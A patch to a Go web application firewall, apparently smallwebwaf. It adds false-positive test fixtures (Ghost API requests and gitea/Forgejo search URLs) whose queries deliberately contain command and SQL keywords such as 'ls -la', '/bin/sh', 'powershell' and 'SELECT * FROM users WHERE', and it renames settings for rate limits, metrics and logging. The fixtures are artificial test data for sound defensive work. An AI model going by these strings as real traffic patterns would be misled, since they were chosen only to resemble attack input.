{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
|
||||||
|
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 & powershell both work.</p>\"}]}"}
|
||||||
|
{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
||||||
@@ -381,6 +381,67 @@
|
|||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
||||||
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
|
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||||
|
|
||||||
|
# The API's searches that gitea and Forgejo share, sent with curl to gitea
|
||||||
|
# 1.27.3. Each searches for words that name commands and files, such as python3
|
||||||
|
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
||||||
|
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
||||||
|
# search of unadopted repositories takes an owner and a name.
|
||||||
|
/api/v1/repos/search?q=python3&limit=10
|
||||||
|
/api/v1/repos/search?q=powershell&limit=10
|
||||||
|
/api/v1/repos/search?q=ls%20-la&limit=10
|
||||||
|
/api/v1/repos/search?q=.htaccess&limit=10
|
||||||
|
/api/v1/repos/search?q=docker-compose.yml&limit=10
|
||||||
|
/api/v1/repos/search?q=tools&limit=10
|
||||||
|
/api/v1/users/search?q=python3
|
||||||
|
/api/v1/users/search?q=powershell
|
||||||
|
/api/v1/users/search?q=ls%20-la
|
||||||
|
/api/v1/users/search?q=.htaccess
|
||||||
|
/api/v1/users/search?q=bob
|
||||||
|
/api/v1/repos/issues/search?q=python3&type=issues&state=open
|
||||||
|
/api/v1/repos/issues/search?q=powershell&type=issues&state=open
|
||||||
|
/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
|
||||||
|
/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
|
||||||
|
/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
|
||||||
|
/api/v1/repos/issues/search?q=build&type=issues&state=open
|
||||||
|
/api/v1/repos/alice/tools/issues?state=open&q=python3
|
||||||
|
/api/v1/repos/alice/tools/issues?state=open&q=powershell
|
||||||
|
/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
|
||||||
|
/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
|
||||||
|
/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
|
||||||
|
/api/v1/packages/alice?q=python3
|
||||||
|
/api/v1/packages/alice?q=powershell
|
||||||
|
/api/v1/packages/alice?q=ls%20-la
|
||||||
|
/api/v1/packages/alice?q=.htaccess
|
||||||
|
/api/v1/packages/alice?q=%2Fbin%2Fsh
|
||||||
|
/api/v1/packages/alice?q=install-script
|
||||||
|
/api/v1/packages/alice?q=%40alice%2Ftools-cli
|
||||||
|
/api/v1/topics/search?q=python3
|
||||||
|
/api/v1/topics/search?q=powershell
|
||||||
|
/api/v1/topics/search?q=ls%20-la
|
||||||
|
/api/v1/topics/search?q=.htaccess
|
||||||
|
/api/v1/topics/search?q=docker
|
||||||
|
/api/v1/orgs/acme/teams/search?q=python3
|
||||||
|
/api/v1/orgs/acme/teams/search?q=powershell
|
||||||
|
/api/v1/orgs/acme/teams/search?q=ls%20-la
|
||||||
|
/api/v1/orgs/acme/teams/search?q=.htaccess
|
||||||
|
/api/v1/orgs/acme/teams/search?q=developers
|
||||||
|
/api/v1/admin/emails/search?q=python3
|
||||||
|
/api/v1/admin/emails/search?q=powershell
|
||||||
|
/api/v1/admin/emails/search?q=ls%20-la
|
||||||
|
/api/v1/admin/emails/search?q=.htaccess
|
||||||
|
/api/v1/admin/emails/search?q=alice
|
||||||
|
/api/v1/admin/unadopted?query=python3
|
||||||
|
/api/v1/admin/unadopted?query=powershell
|
||||||
|
/api/v1/admin/unadopted?query=ls%20-la
|
||||||
|
/api/v1/admin/unadopted?query=.htaccess
|
||||||
|
/api/v1/admin/unadopted?query=alice%2Fpython3-app
|
||||||
|
/api/v1/admin/unadopted?query=alice%2Flegacy-site
|
||||||
|
/api/v1/repos/alice/tools/milestones?state=open&name=python3
|
||||||
|
/api/v1/repos/alice/tools/milestones?state=open&name=powershell
|
||||||
|
/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
|
||||||
|
/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
|
||||||
|
/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
|
||||||
|
|
||||||
# Pages, raw files and edit pages of files, and the API's call for their
|
# Pages, raw files and edit pages of files, and the API's call for their
|
||||||
# contents.
|
# contents.
|
||||||
/owner/repo/src/branch/main/package.json
|
/owner/repo/src/branch/main/package.json
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
# before the rules it switches off, so this file is loaded before the Core Rule
|
# before the rules it switches off, so this file is loaded before the Core Rule
|
||||||
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
||||||
# field of a body applies only when the query has no parameter of that name, so
|
# field of a body applies only when the query has no parameter of that name, so
|
||||||
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||||
#
|
#
|
||||||
# The apps encrypt the names, notes, addresses and file names of vault items,
|
# The apps encrypt the names, notes, addresses and file names of vault items,
|
||||||
# folders, collections and sends before they send them. These values pass
|
# folders, collections and sends before they send them. These values pass
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||||
const vaultwardenThreshold = 5
|
const vaultwardenThreshold = 5
|
||||||
|
|
||||||
// Paths of Vaultwarden's API and admin page.
|
// Paths of Vaultwarden's API and admin page.
|
||||||
@@ -456,8 +456,11 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
|||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||||
if len(body) > bodyLimit {
|
if len(body) > bodyInspectionSize {
|
||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
t.Fatalf(
|
||||||
|
"a body of %d bytes is cut at bodyInspectionSize",
|
||||||
|
len(body),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
||||||
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
|
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
|
||||||
|
|||||||
@@ -66,7 +66,7 @@ type Params struct {
|
|||||||
URL string
|
URL string
|
||||||
// Timeout is how long a request waits for its client's first answer,
|
// Timeout is how long a request waits for its client's first answer,
|
||||||
// and how long a request to GeoJS may take before it is abandoned
|
// and how long a request to GeoJS may take before it is abandoned
|
||||||
// (SWW_WAF_LOOKUP_TIMEOUT).
|
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS).
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Wait is true when a setting needs each request's answer before the
|
// Wait is true when a setting needs each request's answer before the
|
||||||
// request goes on. Otherwise no request waits for one.
|
// request goes on. Otherwise no request waits for one.
|
||||||
|
|||||||
+19
-17
@@ -13,14 +13,15 @@ const other = "other"
|
|||||||
|
|
||||||
// busiest are the metrics by one thing the lookup finds of the client,
|
// busiest are the metrics by one thing the lookup finds of the client,
|
||||||
// its country or its AS number, for requests whose client's is known.
|
// its country or its AS number, for requests whose client's is known.
|
||||||
// The topN busiest countries or AS numbers, by their requests since the
|
// The busiestCount busiest countries or AS numbers, by their requests
|
||||||
// start, have series of their own, and the others are counted under
|
// since the start, have series of their own, and the others are counted
|
||||||
// other, so that there are never more than topN + 1 series. One that
|
// under other, so that there are never more than busiestCount + 1 series.
|
||||||
// drops out of the busiest loses its series, and its next requests are
|
// One that drops out of the busiest loses its series, and its next
|
||||||
// counted under other; one that becomes one of them gets a series that
|
// requests are counted under other; one that becomes one of them gets a
|
||||||
// counts from then on. Each series therefore only ever goes up.
|
// series that counts from then on. Each series therefore only ever goes
|
||||||
|
// up.
|
||||||
type busiest struct {
|
type busiest struct {
|
||||||
topN int
|
busiestCount int
|
||||||
|
|
||||||
requests *prometheus.CounterVec
|
requests *prometheus.CounterVec
|
||||||
requestBytes *prometheus.CounterVec
|
requestBytes *prometheus.CounterVec
|
||||||
@@ -38,9 +39,9 @@ type busiest struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newCountries returns the metrics by country, with series of their own
|
// newCountries returns the metrics by country, with series of their own
|
||||||
// for the topN busiest countries.
|
// for the busiestCount busiest countries.
|
||||||
func newCountries(topN int) *busiest {
|
func newCountries(busiestCount int) *busiest {
|
||||||
countries := newBusiest(topN, "country", "the client's country")
|
countries := newBusiest(busiestCount, "country", "the client's country")
|
||||||
countries.refused = counterVec(
|
countries.refused = counterVec(
|
||||||
"sww_country_list_refusals_total",
|
"sww_country_list_refusals_total",
|
||||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||||
@@ -51,18 +52,19 @@ func newCountries(topN int) *busiest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newASNs returns the metrics by AS number, with series of their own for
|
// newASNs returns the metrics by AS number, with series of their own for
|
||||||
// the topN busiest AS numbers.
|
// the busiestCount busiest AS numbers.
|
||||||
func newASNs(topN int) *busiest {
|
func newASNs(busiestCount int) *busiest {
|
||||||
return newBusiest(topN, "asn", "the client's AS number")
|
return newBusiest(busiestCount, "asn", "the client's AS number")
|
||||||
}
|
}
|
||||||
|
|
||||||
// newBusiest returns the metrics by label, which is described as
|
// newBusiest returns the metrics by label, which is described as
|
||||||
// description, with series of their own for the topN busiest values.
|
// description, with series of their own for the busiestCount busiest
|
||||||
func newBusiest(topN int, label, description string) *busiest {
|
// values.
|
||||||
|
func newBusiest(busiestCount int, label, description string) *busiest {
|
||||||
by := []string{label}
|
by := []string{label}
|
||||||
|
|
||||||
return &busiest{
|
return &busiest{
|
||||||
topN: topN,
|
busiestCount: busiestCount,
|
||||||
requests: counterVec("sww_"+label+"_requests_total",
|
requests: counterVec("sww_"+label+"_requests_total",
|
||||||
"Requests, by "+description+".", by),
|
"Requests, by "+description+".", by),
|
||||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||||
@@ -131,7 +133,7 @@ func (b *busiest) label(value string) string {
|
|||||||
return value
|
return value
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(b.top) < b.topN {
|
if len(b.top) < b.busiestCount {
|
||||||
b.top[value] = true
|
b.top[value] = true
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
@@ -61,12 +61,12 @@ type Metrics struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// New returns the metrics, with the Go runtime's and the process's own.
|
// New returns the metrics, with the Go runtime's and the process's own.
|
||||||
// topN is how many countries and how many AS numbers get series of their
|
// busiestCount is how many countries and how many AS numbers get series of
|
||||||
// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
|
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
|
||||||
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||||
//
|
//
|
||||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||||
func New(topN int, instanceName string) *Metrics {
|
func New(busiestCount int, instanceName string) *Metrics {
|
||||||
byStatus := []string{"status_class", "action"}
|
byStatus := []string{"status_class", "action"}
|
||||||
byFile := []string{"file"}
|
byFile := []string{"file"}
|
||||||
registry := prometheus.NewRegistry()
|
registry := prometheus.NewRegistry()
|
||||||
@@ -102,7 +102,7 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
}),
|
}),
|
||||||
rateLimitHits: counterVec(
|
rateLimitHits: counterVec(
|
||||||
"sww_rate_limit_hits_total",
|
"sww_rate_limit_hits_total",
|
||||||
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
"Requests that broke a rate limit, a byte limit or the refusal limit, by "+
|
||||||
"its window and its kind, requests, bytes or refusals.",
|
"its window and its kind, requests, bytes or refusals.",
|
||||||
[]string{"window", "kind"},
|
[]string{"window", "kind"},
|
||||||
),
|
),
|
||||||
@@ -114,8 +114,8 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
"and the rule's id.",
|
"and the rule's id.",
|
||||||
[]string{"mode", "rule_id"},
|
[]string{"mode", "rule_id"},
|
||||||
),
|
),
|
||||||
countries: newCountries(topN),
|
countries: newCountries(busiestCount),
|
||||||
asns: newASNs(topN),
|
asns: newASNs(busiestCount),
|
||||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||||
Name: "sww_geojs_requests_total",
|
Name: "sww_geojs_requests_total",
|
||||||
Help: "Requests to GeoJS.",
|
Help: "Requests to GeoJS.",
|
||||||
@@ -465,7 +465,7 @@ func (m *Metrics) RequestReported(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// LimitHit counts a request that broke a rate limit, a byte limit or the
|
// LimitHit counts a request that broke a rate limit, a byte limit or the
|
||||||
// error burst, by the window and the kind of hit.
|
// refusal limit, by the window and the kind of hit.
|
||||||
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
|
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
|
||||||
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
|
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ const (
|
|||||||
KindRequests = "requests"
|
KindRequests = "requests"
|
||||||
// KindBytes is a byte limit, on a client's bytes.
|
// KindBytes is a byte limit, on a client's bytes.
|
||||||
KindBytes = "bytes"
|
KindBytes = "bytes"
|
||||||
// KindRefusals is the error burst, on a client's requests sww
|
// KindRefusals is the refusal limit, on a client's requests sww
|
||||||
// refused after a rule file match or for a missing or wrong token.
|
// refused after a rule file match or for a missing or wrong token.
|
||||||
KindRefusals = "refusals"
|
KindRefusals = "refusals"
|
||||||
)
|
)
|
||||||
@@ -54,7 +54,7 @@ type Limiter struct {
|
|||||||
|
|
||||||
// Client is a client in the table, as clients.json holds it: its buckets
|
// Client is a client in the table, as clients.json holds it: its buckets
|
||||||
// of requests and of bytes in each window, its buckets of refusals in the
|
// of requests and of bytes in each window, its buckets of refusals in the
|
||||||
// minute, which the error burst counts, and its history.
|
// minute, which the refusal limit counts, and its history.
|
||||||
//
|
//
|
||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||||
type Client struct {
|
type Client struct {
|
||||||
@@ -121,7 +121,7 @@ type Responses struct {
|
|||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||||
type Offences struct {
|
type Offences struct {
|
||||||
// Limit is its requests that broke a rate limit, a byte limit or the
|
// Limit is its requests that broke a rate limit, a byte limit or the
|
||||||
// error burst, Attack those that were a clear sign of attack, a match
|
// refusal limit, Attack those that were a clear sign of attack, a match
|
||||||
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
|
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
|
||||||
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
|
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
|
||||||
// refused.
|
// refused.
|
||||||
@@ -147,7 +147,7 @@ type Request struct {
|
|||||||
RequestBytes int64
|
RequestBytes int64
|
||||||
ResponseBytes int64
|
ResponseBytes int64
|
||||||
// BrokeLimit is true for a request that broke a rate limit, a byte
|
// BrokeLimit is true for a request that broke a rate limit, a byte
|
||||||
// limit or the error burst, Attack for one that matched a ban rule or
|
// limit or the refusal limit, Attack for one that matched a ban rule or
|
||||||
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
|
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
|
||||||
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
|
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
|
||||||
BrokeLimit bool
|
BrokeLimit bool
|
||||||
@@ -185,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Hit is a request that takes a client over a rate limit or the error
|
// Hit is a request that takes a client over a rate limit or the refusal
|
||||||
// burst, or whose bytes take it over a byte limit.
|
// limit, or whose bytes take it over a byte limit.
|
||||||
type Hit struct {
|
type Hit struct {
|
||||||
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
||||||
// KindRefusals for the error burst.
|
// KindRefusals for the refusal limit.
|
||||||
Kind string
|
Kind string
|
||||||
// Window is "minute", "hour" or "day".
|
// Window is "minute", "hour" or "day".
|
||||||
Window string
|
Window string
|
||||||
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
|
|||||||
// CountRefusal counts a request from client at now that sww
|
// CountRefusal counts a request from client at now that sww
|
||||||
// refused after a rule file or Core Rule Set match or for a missing or
|
// refused after a rule file or Core Rule Set match or for a missing or
|
||||||
// wrong token, and reports whether the client's refusals in the minute
|
// wrong token, and reports whether the client's refusals in the minute
|
||||||
// that ends at now, this one included, are more than threshold, which
|
// that ends at now, this one included, are more than limit, which breaks
|
||||||
// breaks the error burst, and the hit.
|
// the refusal limit, and the hit.
|
||||||
func (l *Limiter) CountRefusal(
|
func (l *Limiter) CountRefusal(
|
||||||
client netip.Prefix, now time.Time, threshold int64,
|
client netip.Prefix, now time.Time, limit int64,
|
||||||
) (Hit, bool) {
|
) (Hit, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
|
|||||||
hit := Hit{
|
hit := Hit{
|
||||||
Kind: KindRefusals,
|
Kind: KindRefusals,
|
||||||
Window: "minute",
|
Window: "minute",
|
||||||
Limit: threshold,
|
Limit: limit,
|
||||||
Count: count,
|
Count: count,
|
||||||
}
|
}
|
||||||
|
|
||||||
return hit, count > float64(threshold)
|
return hit, count > float64(limit)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
// Reset sets client's counts of requests, of bytes and of refusals in
|
||||||
|
|||||||
@@ -351,7 +351,9 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
|||||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||||
@@ -361,7 +363,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
for range limit {
|
for range limit {
|
||||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||||
t.Fatalf(
|
t.Fatalf(
|
||||||
"a refusal within the threshold of %d broke the error burst",
|
"a refusal within the limit of %d broke the refusal limit",
|
||||||
limit,
|
limit,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -374,7 +376,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"one over the threshold broke it: %t, with %+v; want %+v",
|
"one over the limit broke it: %t, with %+v; want %+v",
|
||||||
over,
|
over,
|
||||||
hit,
|
hit,
|
||||||
want,
|
want,
|
||||||
@@ -382,7 +384,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Half a minute into the next, half of those four still count, 2, and
|
// Half a minute into the next, half of those four still count, 2, and
|
||||||
// this one: 3, within the threshold.
|
// this one: 3, within the limit.
|
||||||
hit, over = limiter.CountRefusal(
|
hit, over = limiter.CountRefusal(
|
||||||
client,
|
client,
|
||||||
start.Add(time.Minute+time.Minute/2),
|
start.Add(time.Minute+time.Minute/2),
|
||||||
|
|||||||
@@ -62,9 +62,9 @@ type Params struct {
|
|||||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||||
RootCAs *x509.CertPool
|
RootCAs *x509.CertPool
|
||||||
// Buffer is the most lines held while they wait to be sent
|
// BufferLines is the most lines held while they wait to be sent
|
||||||
// (SWW_WAF_LOG_REMOTE_BUFFER).
|
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
||||||
Buffer int
|
BufferLines int
|
||||||
// Facility is the number of the records' syslog facility
|
// Facility is the number of the records' syslog facility
|
||||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||||
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
|
|||||||
// id and the structured data have no value.
|
// id and the structured data have no value.
|
||||||
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
||||||
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
||||||
records: make(chan []byte, params.Buffer),
|
records: make(chan []byte, params.BufferLines),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
